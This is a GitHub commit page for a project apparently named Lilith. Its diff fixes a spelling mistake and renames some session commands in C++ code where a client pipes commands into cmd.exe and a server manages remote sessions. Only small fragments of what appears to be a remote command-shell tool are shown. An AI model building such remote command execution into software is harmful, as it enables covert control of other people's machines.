Skip to content

Commit

Permalink
fixed a spelling mistake
Browse files Browse the repository at this point in the history
  • Loading branch information
werkamsus committed Jun 25, 2017
1 parent 3f552c7 commit 28cafc9
Show file tree
Hide file tree
Showing 3 changed files with 6 additions and 6 deletions.
Binary file added Lilith/.rnd
Binary file not shown.
2 changes: 1 addition & 1 deletion Lilith/cmdRedirect.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -88,7 +88,7 @@ void CMD::writeCMD(std::string command) //write a string to stdIn of cmd.exe
{
if (cmdOpen)
{
command += '\n'; //apend '\n' to simulate "ENTER"
command += '\n'; //append '\n' to simulate "ENTER"
if (!WriteFile(g_hChildStd_IN_Wr, command.c_str(), command.size(), NULL, NULL))
Client::clientptr->SendString("Couldn't write command '" + command + "' to stdIn.", PacketType::Warning);
}
Expand Down
10 changes: 5 additions & 5 deletions Server/server.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -67,7 +67,7 @@ void Server::HandleInput()
userinput.empty();
}
else
General::outputMsg("Please connect to a session with 'connectSession'", 2);
General::outputMsg("Please connect to a session with 'connect'", 2);
}
else
{
Expand All @@ -77,7 +77,7 @@ void Server::HandleInput()
currentSessionID = -1;
}

if (General::processParameter(userinput, "switch"))
if (General::processParameter(userinput, "switchSession"))
{
inputInt = atoi(userinput.c_str());
int tempInt = connections.size() - 1;
Expand Down Expand Up @@ -130,9 +130,9 @@ bool Server::ProcessPacket(int ID, PacketType _packettype)
if (!GetString(ID, message)) //Get the chat message and store it in variable: Message
return false; //If we do not properly get the chat message, return false
//Next we need to send the message out to each user

General::outputMsg(message, 3);

break;
}

Expand Down Expand Up @@ -310,7 +310,7 @@ void Server::DisconnectClient(int ID) //Disconnects a client and cleans up socke
connections.pop_back(); //Erase last connection from vector
//After cleaning up that connection, check if there are any more connections that can be erased (only connections at the end of the vector can be erased)

for (size_t i = connections.size() - 1; i >= 0 && connections.size()>0; i--)
for (size_t i = connections.size() - 1; i >= 0 && connections.size() > 0; i--)
{
if (connections[i]->ActiveConnection) //If connection is active we cannot remove any more connections from vector
break;
Expand Down

0 comments on commit 28cafc9

Please sign in to comment.